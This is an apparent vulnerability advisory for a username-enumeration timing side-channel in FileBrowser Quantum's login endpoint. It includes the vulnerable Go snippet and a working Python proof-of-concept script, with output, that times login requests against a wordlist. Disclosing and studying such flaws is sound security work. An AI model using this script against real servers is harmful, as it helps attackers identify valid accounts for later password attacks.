CVE-2026-54685: FileBrowser Quantum has Username Enumeration via Authentication Timing Side-Channel
Summary The /api/auth/login authentication endpoint does not execute in constant time. When a non-existent username is supplied, the server returns a 401/403 response almost immediately. When a valid username is provided, the server performs a bcrypt password comparison, causing a measurable delay in the response time. Details The vulnerability exists in the Auth function of JSONAuth in auth/json.go (lines 45–52).
Published Mar 24, 2026 · Updated Jul 8, 2026
Affected packages
github.com/gtsteffaniak/filebrowser/backend
- Ecosystem
- Go
- Affected
- < 0.0.0-20260317230626-af08800667b8
- Fixed in
- 0.0.0-20260317230626-af08800667b8
- Check
go list -m github.com/gtsteffaniak/filebrowser/backend
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The /api/auth/login authentication endpoint does not execute in constant time. When a non-existent username is supplied, the server returns a 401/403 response almost immediately. When a valid username is provided, the server performs a bcrypt password comparison, causing a measurable delay in the response time.
Details
The vulnerability exists in the Auth function of JSONAuth in auth/json.go (lines 45–52). The function performs a database lookup for the user prior to performing any password validation.
user, err := userStore.Get(username)
if err != nil {
return nil, fmt.Errorf("unable to get user from store: %v", err)
}
err = users.CheckPwd(password, user.Password)
if err != nil {
return nil, err
}If the username is not found, the function returns an error immediately. If the username is found, the function calls CheckPwd, which executes the bcrypt hash comparison. Because bcrypt is intentionally computationally expensive, this introduces a measurable delay in the response time.
As a result, an attacker can distinguish valid usernames from invalid ones by measuring the authentication response times.
In testing, responses for valid usernames consistently required approximately 40–50 ms due to the bcrypt comparison, while invalid usernames returned in approximately 1–4 ms.
PoC
The script below automates this attack by calibrating the network latency using non-existent usernames to establish a baseline and then testing a list of target users. Valid usernames are detected when the response time exceeds the baseline.
import requests
import time
import statistics
# Configuration - adjust domain and wordlist as appropriate
TARGET_URL = "http://localhost/api/auth/login"
WORDLIST = ["admin", "root", "user2", "nonexistent_test_user"]
def measure(username):
start = time.perf_counter()
requests.post(TARGET_URL, params={"username": username}, headers={"X-Password": "wrong-password"})
return time.perf_counter() - start
# 1. Baseline Calibration
print("[*] Calibrating...")
baselines = [measure(f"not_a_user_{i}") for i in range(20)]
threshold = statistics.mean(baselines) + (statistics.stdev(baselines) * 5)
print(f"[*] Baseline: {statistics.mean(baselines):.4f}s | Threshold: {threshold:.4f}s")
# 2. Validation Test
for user in WORDLIST:
t = measure(user)
status = "VALID" if t > threshold else "invalid"
print(f"{user:<15} | {t:.4f}s | {status}")Example output (with admin and user2 configured as valid users in the application):
$ python timeattack.py
[*] Calibrating...
[*] Baseline: 0.0041s | Threshold: 0.0256s
admin | 0.0505s | VALID
root | 0.0019s | invalid
user2 | 0.0464s | VALID
nonexistent_test_user | 0.0015s | invalidImpact
An unauthenticated attacker can enumerate valid usernames by measuring authentication response times.
Credited to mdcoxe.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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